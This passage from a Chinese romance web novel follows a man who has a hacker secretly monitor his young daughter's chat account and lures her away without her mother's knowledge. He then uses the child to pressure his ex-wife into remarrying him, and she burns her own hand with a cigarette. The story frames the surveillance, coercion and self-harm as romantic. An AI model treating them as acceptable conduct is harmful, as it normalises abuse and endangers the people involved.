“有一个忙。”宋清殊正色,搬起那箱玉器,放到桌子上,“这个我不能收,需要你帮忙拿回去。”
盛熙川的眼神黯淡下来,他沉默了一瞬。
刚才只顾着想童卉的事,宋清殊这才注意到盛熙川今天穿的格外正式。
烟灰色高定西装,里面是一件丝绸质地的白衬衫,越发衬的一张脸尤其奢贵。
他系了领带,打了规规矩矩的温莎结。
这样一个好看的人,配上这样一身行头,哪怕什么都不说,只是坐在这里,就能让人一眼看出是上位者。
眼下,上位者屈尊坐在员工食堂,跟她吃五块钱一份的小炒。
难怪她的女同事们临走时都在看她,童卉除外。
这样一个人,不去享受大好的生活,偏要跟她耗,针对我爱你,你爱我这点事,纠缠个没完,也挺没劲的。
宋清殊有点耗不起。
盛熙川:“那天摔坏了你的玉牌,这些东西也是为了补偿你。更何况,当年爷爷去世留给你的遗产,你一点都没动。”
他这一星期没动静,就是在给她找这些东西。
原本可以找到更多更好的,只是宋清殊和“朱小明”一起逛灯会这件事刺激了他,他等不及了。
“爷爷的遗产原本是给孙媳妇的,我又不是了,当然不该要。”宋清殊说。
她这话说得轻松,盛熙川却下颌线绷得死紧。
“别这样说,我心里不好受。”
宋清殊闭了嘴。
两人难得平和的吃了顿饭,接近尾声的时候,盛熙川借故接了个电话走了,最终宋清殊也没能把那箱玉器塞回他车上。
她不得不先去银行租了个保险箱,把东西放进去。
等下次见面再说吧,反正也该告诉盛熙川珍珠的身世了。
宋清殊想着到时候把珍珠带上,三人一起认真地吃顿饭,盛熙川看上去很喜欢珍珠,不至于为难她,至于自己……到时候再说吧。
想是这样想,情感上却实在不太愿意,便下意识地拖延了几天。
拖着拖着就出了事。
是保姆雪姐带珍珠去城市图书馆,偶遇了盛熙川。
如果说前几次还是珍珠的有意为之,那这次遇见是真正的偶然。
珍珠激动得声音都变了调子,大喊了好几声“盛叔叔”。
盛熙川来找一本市面上不好买的书籍,看见珍珠手里拿了本《时间简史》,便忍不住逗她:“哟,我们珍珠这么小就会帮妈妈借书了,真棒。”
珍珠没有作声,反而是雪
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姐,像那种为自家孩子骄傲的大人,接口道:“是我们珍珠自己要的,她认识特别多字了,基本上能看懂!”
如果不是看这位保姆穿的干干净净,笑容也很可亲,盛熙川简直觉得她在说胡话。
“是吗?”他问珍珠。
珍珠没说是,也没说不是,她换话题转移盛熙川的注意力。
“盛叔叔,我今天戴手表了,要加个微信吗?”
盛熙川这才发现,珍珠的手表都是iwach,不是这个年纪该用的儿童电话手表。
他总觉得这孩子哪里不对,她似乎像一个老灵魂住在儿童的躯壳里,以防吓到不知情的人,还要尽可能装出天真可爱的模样。
但知情的人,明显已经习惯了。比如她的保姆不拿她当孩子,看上去非常尊重她。
如果这样想,一切就说的通了。
盛熙川掏出手机,跟珍珠扫码加了好友。
看见她的微信头像,盛熙川的头“嗡”地响了一声。
那个黑色骷髅头涂鸦!
不就是宋清殊备注的“猪猪”!
“好特别的头像,从哪里找来的画呀?”他问。
雪姐抢先道:“我们珍珠自己画的,您看,角落里有落款。”
落款是一颗圆圆的珍珠,隔着屏幕都能看出盈润的光泽感。
这不对劲,这个年龄段的孩子即便有美术天赋,也不该画这样的画。
一切都不对,但盛熙川需要时间理清楚。
他又跟珍珠简单聊了两句,约好可以互相发消息就离开了。
回去后,盛熙川做了一件非常不地道的事:他用**监控了珍珠的微信。
珍珠没有莫兰溪的微信,她的微信上只有三个人,宋清殊,楼珏和陆夫人。
最新的聊天记录是——
珍珠:【妈妈什么时候下班?】
宋清殊:【还有半小时,宝宝】
珍珠:【下班后给我带一个榴莲班戟】
宋清殊:【(猫猫点头)】
看着那位海外黑客发来的数据,盛熙川的耳边响起轰隆隆的雷鸣声,持续了两分钟。
第198章 珍珠失踪
难怪第一次看见珍珠时,便觉得亲切可爱,难怪他记不住一般婴儿的脸,却能准确记住珍珠。
每次看到她,便会不由自主的想,自己的孩子如果顺利生下来,应该也这么大了。
这一切只是因为亲缘骗不了人,珍珠是他的女儿,她的身上流淌着他的血液!
盛熙川把自己关在房间里,一整天的时间都没有出门。
情绪起伏太大,无数复杂的情感在脑子里翻涌。
他生气,生自己的气。
气自己为什么这样想当然,明明查起来如此简单的事,却从来没有往这方面想过。
细究起来,无非是他不想面对那段回忆,一想起宋清殊失去孩子,用刀割伤手臂,只为了离开他的模样,便痛得撕心裂肺,一味逃避。
也生宋清殊的气,这个女人好狠的心!
她谋划好了一切,之后,置身事外,冷眼看着他跟个傻子一样被蒙在鼓里,看着珍珠一次次想办法接近他,却只能叫他盛叔叔。
生气之余又有更多的心疼。
也不知道这个女人当时有多绝望,才选择大着肚子离开。
她那样弱不禁风,也不知道是怎么一个人生的孩子,辛苦养大,还抚养得这么好。
这一天,盛熙川坐在房里抽了整整三包烟。
之后,他起床把自己身上的烟味洗净,换衣服,在黄昏的时候出了门。
这些日子,他对宋清殊小心翼翼,从来不敢用过激的方式,怕吓到她,也怕她因此逃得更远,
如今看,他的担忧都是多余,他的手段还是太软了些,才让这个女人有恃无恐,瞒了他四年!
先把人绑回身边,其他的账,以后慢慢算。
盛熙川特地把车停在宋清殊的小区外,步行进去,走楼梯到了宋清殊家门口。
他避开了监控位置,之后给珍珠发微信:【小珍珠,我在你家门口,出来一下】
珍珠秒回:【好】
接着,盛熙川听到了开门声和脚步声。
他站在楼梯间门口对珍珠招手,珍珠跑过来。
小家伙身上还穿着毛茸茸的家居服,脚上是厚厚的地板袜。
盛熙川盯着珍珠,心软得像一朵棉花糖。
他心口扑通乱跳,伸手将她抱起来,伸手替她把嘴角一点零食碎屑抹掉:“让你出来就出来,不怕我是坏人?”
他的女儿真好看啊,完全符合他对女儿的全部想象。
珍珠摇头:“你不会伤害我。”
她笃定的神情,越发让盛熙川坚定了他的猜测:这件事珍珠也是知情的!
“珍珠,听着。”盛熙川抱着她往楼梯间走,“我都知道了,这次,你一定要帮爸爸。”
珍珠在盛熙川怀里圆了眼睛。
珍珠聪明成这个样子,自然是很难说服的。
奈何盛熙川实在情真意切,珍珠又对父爱渴望得厉害,竟然在盛熙川车里聊了半小时后,真的倒戈了。
保姆们也是这个时候发现她不在的。
她出门时,雪姐在外面买菜,芝姐在厨房煲汤,谁也没察觉。
芝姐回到客厅时发现珍珠不在,也没有多想。
毕竟她们的小区是一梯一户制,上下电梯都要刷卡,单元入户门也要人脸识别,安全系数很高。所以之前珍珠也会在门口玩,宋清殊允许的。
之所以发现不对劲,是珍珠给自己定的每日练字的闹钟响了,但她没有回来。
这样有时间观念的小孩不会出现这种情况。
此时,雪姐也买菜回来了,她在楼道里并没有看到珍珠。跟芝姐一复盘,才察觉珍珠不见了。
两人赶紧给宋清殊打电话,急得直哭。
宋清殊和莫兰溪都在公司加班,接到电话后火速回了家。
莫兰溪去调单元楼监控,显然,珍珠不在家的时段监控受到了干扰,回放里都是雪花。
宋清殊查家门口的,只看到珍珠自己出了门,走向了楼梯的方向。
她住20层,两人顺着楼梯一个往上,一个往下找,也一无所获。
宋清殊急得四肢麻木,虚汗一层一层地往下流,她强迫自己冷静。
谁会惦记珍珠?
她圈出了一个小范围:陆家二叔,三叔,和陈南枝都有可能。
但这三个人有所行动要在知道珍珠身份的前提下,陆二叔和三叔正有别的阴谋等着她
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,还没有把突破口放到珍珠身上。
至于陈南枝,宋清殊直觉她不敢。
因为盛熙川显然有陈家的把柄,陈南枝如果知道珍珠是她的孩子,不至于想不到盛熙川这一层,想到了更不敢这么草率。对她来说绑珍珠,不如绑陆展。
盛熙川……宋清殊福至心灵。
与此同时,莫兰溪想到了另一种可能。
“我好像知道是谁了。”两人几乎同时说。
“盛熙川。”
“霍宗辞。”
……
如果宋清殊没有被女儿失踪这件事扰乱心神,大概会觉察出莫兰溪的不对劲,可她没有,只觉得莫兰溪乱猜。
“小叔不太可能这么干,他没有动机。”宋清殊说,她握住莫兰溪的手,“你现在给盛熙川打电话,求他帮忙找找,看他什么反应。”
莫兰溪想说霍宗辞是个疯子,什么都可能干得出来。但她感觉出了宋清殊手上的凉意,忙安抚地握紧:“好,我马上打,不会有事的,放心。”
她给盛熙川打电话,开免提,那边接的很快。
“盛总,我女儿不见了,我想问问她有没有跟上次一样,又去找您。”
盛熙川冷笑一声:“莫助理真有意思,自己孩子不看好,三天两头找不见,外面这么乱,也不怕被人贩子拐走。”
他可能心情不好,异常阴阳怪气,态度恶劣。
宋清殊和莫兰溪都很意外。
盛熙川很喜欢珍珠,至少前几次接触看起来是这样的,但他此时的表现听上去很冷血。
莫兰溪看宋清殊一眼,拍了拍她的手背,又请求道:“盛总能不能让人帮我找找,毕竟您人脉更广。”
盛熙川那边沉默了一瞬。
“抱歉,我的人不方便。”他说,接着,没等莫兰溪再说什么,直接挂了。
他这个反应也很反常,比莫兰溪怀疑霍宗辞还反常。
奈何宋清殊急火攻心,只觉得盛熙川冷漠,并没有想到更深一层。
“万一不是他呢,总不好打草惊蛇。”她想。
盛熙川这条路走不通,宋清殊又迅速联系了陆夫人,发动一切可能的关系去找珍珠。
第199章 父女相认
陆夫人一听也慌了神,她声音有点抖:“会不会是老三和陈南枝?”
她还不知道陈南枝和陆二叔的事。
“不完全排除,但嫌疑不大。”宋清殊说,“干妈,帮我报警查各个路口的监控,以及加派人手去找。”
陆夫人行动迅速,马上去照做。
而莫兰溪,实在不放心霍宗辞的人品,还是出去给他打了个电话。
那边在铃声快断时才接听。
“霍总,珍珠有没有在你那里?”莫兰溪火急火燎,开门见山,语气里再没有一惯跟霍宗辞说话的小心翼翼。
“你女儿怎么会在我这里?”霍宗辞道。
莫兰溪也忙中生乱,说了错话:“毕竟你之前问过我好几次珍珠的事,霍总,有什么事冲我来,孩子是无辜的。”
霍宗辞的声音沉下来,冷冷道,“莫兰溪,我想让你屈服有的是办法,犯得着打一个孩子的主意吗?”
莫兰溪:“抱歉,我只是太担心了……”
她太害怕因为自己这点事害了宋清殊的孩子。
霍宗辞从鼻子里哼了一声,把电话挂了。
莫兰溪深呼吸,分析霍宗辞话里的真实性。不到半分钟,电话又响了起来。
“跟我说一下孩子不见的细节。”霍宗辞冷冷地说。
莫兰溪说了。
“等着吧。”霍宗辞挂了电话。
莫兰溪起初没有反应过来霍宗辞的用意,后来才知道他要帮忙找孩子。
看来是她小人之心了,她默默地想。
孩子找不到,宋清殊那边急得都要发心脏病了。
而盛熙川这边,带珍珠去吃了个饭,又去游乐场玩了一会儿。
没有父女相见相拥而泣的场面,两人似乎都比预想中的平静。
但吃饭时,珍珠时不时就要抬起眼睛偷看盛熙川,每次都被盛熙川捉个正着。
游乐场的旋转木马上,盛熙川抱着怀里的肉团子,说不出心里什么滋味。
这天伦之乐降临得太突然,他在种种复杂情绪后,突然又觉得感恩。
在宋清殊离开后,他觉得人生再无意义,每天行尸走肉一样活着。
如今时隔四年,她回来了,还带回了他们的骨肉。
他又开始觉得人生值得一活。
现在能看得到她和孩子,那再追回来是早晚的事,这次,他绝对不会再心软。
她最好愿意。
不愿意,他也不会放手了。
想到这里,盛熙川竟然莫名觉得庆幸,幸好有她当年利用舒颜骗了他,让他如今才能巧立名目,理直气壮。
她可以生气,可以在回来后要他跪搓衣板,但前提是要回来。
珍珠到底是个孩子,智商比同龄小朋友高,能跟大人无障碍交流,却的确比宋清殊好哄太多。
她只担忧了一会儿,说妈妈和保姆阿姨找不到她一定会着急,在盛熙川跟她保证自己会好好解释后,便放心下来。
过去她是个嫌旋转木马幼稚,绝对不肯坐的小朋友,如今只是因为在爸爸怀里,便喜欢上了这个项目。
父女两人坐了三圈。
“突然好喜欢旋转木马啊。”珍珠感叹。
盛熙川在后面揉她的小脑袋:“这个游乐场原本就是送你的礼物,你可以随时过来。”
珍珠没回头,伸手拉紧面前的扶杆:“什么意思?”
盛熙川:“游乐场是当年妈妈怀孕后建的,为你来到这个世界上准备的见面礼。”
后来宋清殊离开,但项目没有停。建好后一直有人定期运维,只是没有对外开放而已。
难怪这里比她去过的游乐场都大,却只有她和爸爸。
珍珠沉默了一瞬间,突然回头定定地看着他。
那一刻,盛熙川觉得自己仿佛在被宋清殊审视。
珍珠的眼神,跟她妈妈太像了。是他一叶障目,没有往这方面想。
这样好看又聪慧的孩子,怎么可能不是他和宋清殊的!
盛熙川神色坦荡,任珍珠打量了一会儿,才问:“怎么了宝宝,在想什么?”
“所以,我来到这个世界上不是错误,我也不是不被期待
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的孩子,对不对?”珍珠轻声问。
她的眼神热切,在等盛熙川给他一个答案。
所以这个孩子在知道自己身份后,是陷入了自我怀疑中的。
她以为自己不能跟他相认,是因为他不喜欢,也不期待她的到来。
这样敏感细腻的孩子,也不知道在这样的情绪里过了多久。
“宋清殊!”盛熙川在心里咬牙,这次绝对不能轻饶了她。
看着珍珠的眼神,盛熙川心疼得厉害。
他将珍珠举高,转了个身,直接跟自己面对面。
他温柔地盯着她看,用指腹抚摸她的小脸:“你怎么会这么想?你知道爸爸当年误以为失去了你,有多痛苦吗?
爸爸不仅期待你的到来,还想过把全世界最好的都给你。爸爸爱妈妈,当然也会爱你。”
珍珠看着盛熙川的眼睛,突然瘪了瘪嘴,扑进他怀里哭了起来。
音乐停,新的一圈停止,盛熙川把珍珠抱下来,坐在边上的水泥台子上。
他没让珍珠不要哭,只是安抚地拍着她的后背,任凭她宣泄着情绪。
珍珠不怎么哭,可一哭就很难停下。
她身体好,哭声洪亮。
抱着怀里哭得震天响的女儿,再想想诡计多端的宋清殊,盛熙川觉得往后的人生都有了盼头。
那个女人……他这次一定不会放手。
珍珠哭够了,盛熙川带她回家,在车上她便撑不住,裹着他的大衣沉沉睡去。
此时,已经是晚上9点多,陆夫人那边还没动静,莫兰溪先接到了霍宗辞的电话。
“盛熙川的车在5点多的时候路过了西子路和长宁道交口的红绿灯,6点左右,又路过了一次。”
这是她们小区最近的十字路口。
盛熙川路过不能说明什么,而且他有那么多辆车,被记混的可能性也很大。
“我问过他了,他说不知情。”莫兰溪有点懊恼。
即便这样,莫兰溪还是告诉了宋清殊。
“兰溪,我去找一趟他。”宋清殊突然道。
第200章 电击
几个小时的搜寻并没有什么收获,但宋清殊因为紧张,肾上腺素飙升,反而有了一些精气神和思考能力。
她复盘刚才发生的一切,才渐渐觉得,盛熙川那番话有点不对劲。
至于要过去找他,倒不是因为百分之百确定珍珠在他那里,只是觉得他一定有办法找到。
换言之,如果连盛熙川都找不到,那珍珠也就凶多吉少了。
宋清殊这样想着,已经拿了车钥匙出门。
莫兰溪一路送她去停车场。
“你别紧张,到现在都没有人联系咱们要钱或者别的什么,证明珍珠未必遇到了危险。”莫兰溪安抚她。
宋清殊点头:“我知道,反正我也在准备告诉盛熙川珍珠的身世了,不如就现在吧。”
莫兰溪惊讶地瞪大了眼睛:“你想好了?”
宋清殊“嗯”了一声。
“好。那等你解决完这件事情,我恰好也有件事要告诉你。”莫兰溪说。
莫兰溪想离开了。
既然假扮珍珠的妈妈是她回来的主要任务,那等珍珠和盛熙川相认,她的任务也算是完成了。
她决定去跟陆夫人说她和霍宗辞的事,让陆夫人帮她离开上京,回芬兰去。
不是她不知感恩,无情无义,在陆夫人困难的时候离开她。
只是,霍宗辞纠缠太紧,如果她不走,带来的麻烦更多,说不定祸事还会殃及陆家。
陆夫人一直拿她当自己的孩子看,一定可以理解她,也会帮助她的。
至于宋清殊这边,她们共事了这么久,总要说一声的。
宋清殊对莫兰溪和霍宗辞的事一无所知,不知道她要说什么,但也无暇去想。便胡乱答应了一声,上车疾驰而去。
到临江别墅的时候是晚上十点多。
宋清殊把车停在门口,准备打盛熙川的电话。
别墅门缓缓在面前打开,管家出来迎她。
“太太,您跟我来。”管家说。
宋清殊无心纠正他称呼。
“您在等我?”她问。
“对,先生说您一定会来,还让厨房做了宵夜在火上煨着等您。”
宋清殊:“所以,我女儿在这里是不是?”
管家笑容可掬:“是的。先生带小姐出去玩了一晚上,小姐累坏了,现在已经睡下了。”
果然,珍珠被盛熙川带了过来。
除了他还有谁让珍珠不设防,就这么开门跑了出去呢。
悬着的心稍稍踏实了一点,但马上因为新的问题提了起来。
宋清殊深呼吸,跟着管家一路走进去。
她一路上都在想怎么跟盛熙川沟通这件事。
盛熙川没换家居服,身上穿着一件黑色衬衫,坐在餐厅等她。
他朝着门口的方向,身子微微往后倚着,神情看不出喜怒。
餐厅不是谈事的地方,他们也不是适合坐在他家吃宵夜的关系。
但如今也顾不得许多。
宋清殊走进去,坐在他对面。
“盛熙川,你都知道了。”她干巴巴开口。
盛熙川掀起眼皮看了看她,没作声。
氛围出奇的压抑,暴风雨前的宁静。
此时,保姆把做好的宵夜一样样端上来。
也许是被诡异的气氛吓到,不敢多言,却依然给了宋清殊一个友善的笑容,有种旧人重逢的意味。
宋清殊也对她点头微笑了一下,真是好久不见。
食物都摆在了她面前,盛熙川不吃。
看着面前冒热气的青菜粥,宋清殊把勺子放进去,随意搅了搅,仅是凭气味她就能判断出是盛熙川做的。
“珍珠呢?”
盛熙川淡声道:“先喝粥,喝完再说。”
宋清殊心中焦急,面上只是静静地看他:“时隔四年,我已经不喜欢喝青菜粥了,盛熙川。”
盛熙川眼底不见笑意:“你会重新喜欢的。”
不知是不是因为盛熙川的神色太冷,宋清殊一晚上的担惊受怕化作一肚子火气。
她把勺子扔进碗里,骨质瓷发出清脆的响声。
“隐瞒你是我不对,你不高兴可以来找我,可把孩子带走算怎么回事?你知道我找了她一晚上多担心吗?”
来之前打定了主意做小伏低,可她克制不住,
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还是发了脾气。
“才找了一晚上,就受不了啊,宋清殊。”盛熙川冷笑一声,隔着餐桌,他身子前倾,无限逼近她,“那你知道这四年我是怎么过来的吗?”
他的眼神满是痛苦,宋清殊看得一怔。
“这四年,我每一天都活在愧疚里,以为自己伤害了你,害**你肚子里的孩子。
宋清殊,你多潇洒啊,你是去父留子的时代先锋,一个人瞒天过海,说走就走。
四年,一千多天,留我一个人,每天诅咒自己下地狱。”
宋清殊咬唇,没有作声。
盛熙川起身,步步逼近她,一把扯开了自己的衬衫。
几颗扣子应声落地,发出噼啪的声响。
宋清殊不明所以,却还是下意识别开眼。
“看着我。”盛熙川掐住她的下巴,强迫她的目光落在自己胸前。
宋清殊这才发现,盛熙川左侧的胸肌上,有一大块黑色的疤痕,像反复烫伤。
这块疤他们在一起的时候没有。
“知道这块疤怎么来的吗?为了忘记你,为了有勇气继续活下去,我接受了电击治疗,宋清殊。”
看着她的照片,让电流穿过身体,由弱到强,反复多次。那是一段地狱般的日子,可为了生活继续下去,只能这么做。
本以为他已经成功脱敏,再不会被宋清殊扰乱心神。
谁知,在陆先生的葬礼上遇见她后,之前的所有一切,都作废了。
他努力了那么久,简直像个笑话。
盛熙川将宋清殊禁锢在餐椅的方寸之间,他低着头看她,双目赤红,像一头发怒的豹子。
“宋清殊,你冷眼看着我像个傻瓜一样被蒙在鼓里,听自己的女儿叫叔叔,很得意是不是?”
宋清殊垂眸,眼睛恰好又落到了盛熙川胸前的那一片疤痕上。
电击疗法,她还是在一些极端的社会新闻上看过,没想到被盛熙川将这种残忍的方式用到了自己身上。
想到他受的那些苦,心头一朵沉黑的云压上来,宋清殊有些透不过气。
“对不起。”她说。
第201章 服从性测试
宋清殊不觉得自己离开盛熙川这件事有错。
她错在太想要独占珍珠这个孩子,从怀孕到珍珠长到三岁,都没有想让他知情。
虽说如果当年她不将计就计,孩子也未必保得住,但毕竟这是假设,不能当已成事实来做借口。
心里异常压抑,那朵黑云下起了雨。
“不用道歉。”盛熙川强行把她的头抬起来,逼她跟自己对视。
强大的压迫感,伴随着能吞噬一切的怒气,让宋清殊的心又打了个突。
这段时间盛熙川缠得太紧,位置也摆的太低,她险些忘了他上位者的身份。
“既然珍珠是我的孩子,那有些事情还是要说清楚。”盛熙川说。
他松手,坐回去,给自己点了根烟。
就这样靠在椅背上,静静地逼视她。
他的衬衫敞了三颗扣子,那个伤疤在真丝衬衫柔和的光泽映衬下,更加狰狞可怖。
“宋清殊,现在最好的解决方式,就是你回到我身边来,我们给珍珠一个完整的家。
不然,这个孩子我是一定会抢的。
你可以衡量一下,凭你的一己之力,或者再加上陆家,宋家,你有没有胜算。”
盛熙川拿出了在谈判桌上的态度来,逼自己不要心软。
再心软,不只是他的女儿,眼前这个女人也会越来越远。
“盛熙川,你不能这样。”这次,轮到宋清殊应激,站起身来。
一直不告诉他,不就是防的这一出?
“孩子我们可以共同养,很多离婚夫妻都是这样的,不存在抢不抢的问题。”
她这才把准备好的一叠纸摆在他桌上,“其实,我早就准备告诉你真相了,这份协议是在一周前让律师拟好的。
之所以一直拖着,是因为……最近陆氏有很多事,实在是顾不上。”
陆氏的确忙,但最真实的原因是,人在做困难的事情时,潜意识总想往后拖。
作祟的,是她的私心和懦弱。
盛熙川拿起那叠纸,简单翻了一下,又放回桌上。
“宋清殊,你自己觉得这个协议公平吗?”
这份协议里,宋清殊自以为做了最大限度的让渡。
她写了盛熙川可以探视珍珠的时间:每周最多三天,但不可以累计,以周末为节点,过期自动清零。
盛熙川节假日如果想跟珍珠一起过,可以提前打招呼,但不能连续。如:陪珍珠过了儿童节,就不可以再一起过端午。
生日可以一边过公历,一边过农历,除夕夜珍珠必须跟她在一起,但初一可以去盛熙川处。
厚厚的一叠纸,里面大多是这种关于珍珠的陪伴问题,关于财产的,只提到了一条。
那就是珍珠姓宋,不管什么时候都不会作为盛家长女出现,放弃一切和盛家相关的继承权。
宋清殊:“珍珠还小,她更需要母亲。理应由我抚养,在我身边时间更多一些,这一点在法律上也是说得通的。”
盛熙川:“你跟我谈法律?难道你忘了米热和舒念安是因为什么进去的?
某种程度上,你当年的行为算诬陷,只要事发,拿到明面上,他们明天就能出来。
等他们出来,如果珍珠再不见了,可就真的危险了。”
盛熙川的话,让宋清殊身上浮起一层鸡皮疙瘩。
“别忘了,珍珠也是你女儿,你也要保护她的安全。”
“这个时候你说是了,前三年做什么去了?”
……宋清殊抿唇。
“那你什么意思?”
盛熙川:“我说了宋清殊,要么,你回来跟我复婚,要么,把珍珠给我。
我们求个公平,她在你身边三年,就要在我身边至少三年。
之后,再说共同抚养的事也不迟。”
宋清殊皱眉:“盛熙川,你这么做,跟要我死有什么区别?”
珍珠是她这几年的精神寄托,也是医治她的良药。
就因为有珍珠,她才觉得人生并非了无趣味,也跟自己的原生家庭实现了真正的和解。
盛熙川要把珍珠夺走,就是要她的命。
“呵。上次在你家的楼梯间,你也说我要逼死你,宋清殊,到底是谁要逼
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死谁啊?
四年,你让我尝尽相思苦,每天活在痛苦折磨里,真是,好狠的心。”
那根烟快燃尽了,盛熙川无心再抽,扔进了手边的烟灰缸。
“先把珍珠带来,我要见她。”宋清殊不想再跟他争辩,见到珍珠再说。
盛熙川占了上风,眼眸中的猩红褪去,一点点冷静下来。
“想见珍珠,先当着我的面,跟那个法国男人分手。”他长腿交叠,跟她提要求。
阿诺原本就是假的,这不是难做到的事。
情感让宋清殊赶快答应,理智却在她的脑子里疯狂叫嚣。
不能这么做,这是盛熙川的服从性测试,但凡她听了,今后,就会不断地被他用珍珠威胁,永远失去主动权。
“我不会同意的,盛熙川。”她说。
又问他,“你今天能用珍珠威胁我,是因为她答应配合,对不对?”
盛熙川:“……是,珍珠想让他的爸爸妈妈在一起,有错吗?”
宋清殊走到盛熙川身边去,拿起那一段还带着红光的烟蒂。
“你做什么?”盛熙川警觉起来。
“我欺骗你,一直迟迟没有让你知道珍珠的存在,是我不对,我认罚。”
她把那段烟蒂按在了自己的手背上,抬眼看他:“这样你会消气吗?”
皮肉烧焦的气息传来,盛熙川想视而不见,却根本做不到。
他起身,劈手夺过那节烟蒂扔在地上,眼睁睁看着宋清殊雪白的手背上,那块皮肉被烫得发红,起了火泡。
“你发什么疯?离婚的时候用刀子割自己手臂,尝到了甜头,知道我会吃这一套,是不是?”
再也装不来平静,他声音很大,歇斯底里。
反而是宋清殊立在那里,淡淡地审视他。
她开口,声音不大,语速很慢:“盛熙川,我知道这点皮肉之痛,比起精神折磨,根本不值一提。如果还不够,还可以继续。”
盛熙川的脸色青白交加。
“所以,你即便这样,也不肯离开那个男人?你知道他过去是做什么的么?”
第202章 宋清殊在赌
宋清殊当然知道阿诺是什么职业,不知道也不可能找他。
她冷笑:“我知道,但我不在乎。只要他没有跟我在一起的时候出轨,我就可以接受。
盛熙川,这是我们的事,别提无关的人。”
这番话听在盛熙川耳内,简直称得上对阿诺的告白和袒护。
他的脸色更加难看。
“宋清殊,我一直以为你是个有原则和底线的人。”
“请不要对我的私事评头论足,你只是一个前夫而已。”宋清殊定定地看着他,“我要见珍珠,盛熙川。别逼我恨你。”
最后一句话实在矫情,说完她就有点后悔了。
盛熙川下颌绷得很紧:“那现在,珍珠和阿诺二选一。”
“我不选。”宋清殊不落入他的逻辑陷阱中,“珍珠本来就是我的孩子,应该跟我走。”
一旦她今天妥协,以后就会步步妥协。
“不妥协,今天就看不到珍珠。”
盛熙川又坐下,刻意不让眼睛停留在她受伤的手背上,“宋清殊,乖乖把那碗粥喝了,再给阿诺打电话分手,珍珠今晚就能跟你回去。”
宋清殊神经紧绷着,面上却不为所动。
她说:“珍珠既然偏心爸爸,今天来这里也算是她的选择,那就麻烦盛总照顾好你女儿。”
说完,宋清殊利落地转身开门,就这样走了出去。
她在赌。
赌珍珠会坚定选她。
左右珍珠跟着盛熙川也不会有什么事,等明天,最晚后天,珍珠发现妈妈一直没去接她,自己一定会跟盛熙川闹。
她的女儿够聪明,想回来有的是办法。
打定了主意,宋清殊就这样回了家。
转身时,盛熙川没错过她红了的眼角。
大理石餐桌被掀翻,碗碟食物一地狼藉。那节烟蒂泡在青菜粥里,像一个回南天里的蟑螂,让人生厌。
耳边回荡着宋清殊那句话——
“盛熙川,我再也不爱喝青菜粥了。”
宋清殊回家后,两个保姆还在外面找。
她打电话把她们叫回来,又给陆夫人和莫兰溪都报了平安。
两个保姆都红着眼,一脸愧疚和担忧。
“不怪你们,是珍珠自己要去找她爸爸。”她说。
她平时从不干涉珍珠的隐私,回来后却解开了珍珠的平板,上面的微信没有退。
她看到了盛熙川和珍珠的聊天记录。
两人不过加了三天好友,盛熙川已经查出了她的底细。
“谁是珍珠爸爸,是那天在城市图书馆遇见的先生吗?”雪姐问。
随即又了然,“难怪珍珠对他那么特殊。”
雪姐这才把珍珠在图书馆主动加盛熙川微信的事说了。
“哎呀,这种情况应该先让清殊知情,毕竟珍珠不是对谁都这样的,你应该警醒啊。”芝姐埋怨雪姐。
雪姐:“珍珠那么聪明,我一直拿她当大人,从来都不是事无巨细汇报的呀。”
两人找了一晚上,哭了一晚上,情绪都有点失控,说话的语气也不好。
“都回去睡觉吧,知道珍珠没什么危险就好了。”宋清殊情绪不高,跟两个保姆说了一声,就直接回了房间。
她在家里没找到珍珠的iwach,便猜是被她带走了。
平板上的聊天记录里,珍珠和盛熙川两人每天早安晚安,盛熙川甚至找了很多可爱的表情包跟她互动。
他微信发个“出来”,珍珠就衣服都没换跑了出去,完全的信任。
宋清殊知道自己不该这么想,珍珠再聪明,也毕竟只是个孩子,渴望父爱很正常。
可她在那一瞬间就是难以自控地觉得心寒。
自己养了三年的女儿,只见过盛熙川几面,就这样倒戈。
【既然你选择了爸爸,就跟他吧】她皱着眉给珍珠发微信。
发完的一瞬间,猛然惊醒。
这是在干什么?大人的恩怨牵扯到孩子已经非常不应该,还说这样情绪化的话。
她迅速撤回,可依然被珍珠看到了。
珍珠秒回:【妈妈,别不要我(哭脸)】
宋清殊叹口气:【你好好休息吧,妈妈刚才太情
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绪化。妈妈今天跟爸爸交涉失败了,恐怕你要再等一等。】
珍珠:【妈妈对不起(哭哭)】
宋清殊没有再回复,她躺在床上,把头埋进枕头,在盛熙川那里憋了许久的眼泪,终于流了出来。
珍珠原本就是在装睡,她是个心思缜密的孩子。跟着盛熙川回家后,就一直呆在卧室,哪里也没有去。
但她知道宋清殊来了又走了,也听到了楼下餐厅里摔东西的声音。
她一直安安静静,不吵不闹,只等着爸爸妈妈谈妥,上来告诉她,他们和好了。
以后,一家三口就可以一直幸福地生活在一起——
像她看过的所有追妻火葬场文学那样。
哪怕是妈妈没来看她就走了,珍珠的梦想也没有完全破灭;哪怕是听到楼下砸东西的声音,她还能编造个借口,心说是保姆阿姨收拾的时候不小心打碎了碗碟,自顾自欺骗自己。
直到看到了宋清殊的微信,珍珠才在房间里大哭起来。
她边哭边想,她和爸爸一起伤害了妈妈的感情,妈妈一定很寒心吧。
盛熙川原本就没有想真的控制珍珠,一来,他答应了珍珠,不管宋清殊有没有找到她,第二天一早都会将她送回去。
二则,也是最主要的,他懂珍珠在宋清殊心里的分量。哪怕再气,也不会真的把她往死路上逼。
他们都在赌谁先妥协,想多撑一会儿,再多撑一会儿,看看谁能僵持到最后。
宋清殊给自己的时限是三天。
三天后,盛熙川还不把珍珠还给她,她就回去求饶,他说什么是什么。
而盛熙川根本撑不过她,因为珍珠在他面前哭得太可怜。
刚跟宋清殊吵完架,现在又要哄哭个不停的女儿,他被一大一小两个女人拿捏得死死的。
不管怎么哄,珍珠就一句话:“我要找妈妈。”
凌晨三点,宋清殊接到了临江别墅管家的电话。
“太太,我带着小姐在停车场,您方便来接一下吗?”
宋清殊坐起身来,双目一片清明。
第203章 迷茫
“方便,我现在下去。”宋清殊说。
一直到停车场,看见等在电梯间里的珍珠,她的心才踏实下来。
宋清殊确定,她赌赢了。
珍珠站在管家身边,一双眼睛哭得通红,见到宋清殊,叫了声“妈妈”,之后迅速低下了头。
她身上的睡衣不是穿出去的那一件,外面还穿了一件特别漂亮的貂绒小外套,应该是盛熙川临时让人买的。
“您的那份协议先生不满意,先生说,本周末来看珍珠,跟您重新协定一份。”管家说。
宋清殊面无表情:“好。”
之后,带珍珠进了电梯。
不管怎么说,孩子回到了她手里,她就已经免于被牵制的命运。
折腾了一晚上,宋清殊身心俱疲,此时突然泄了力气,她双腿发软。
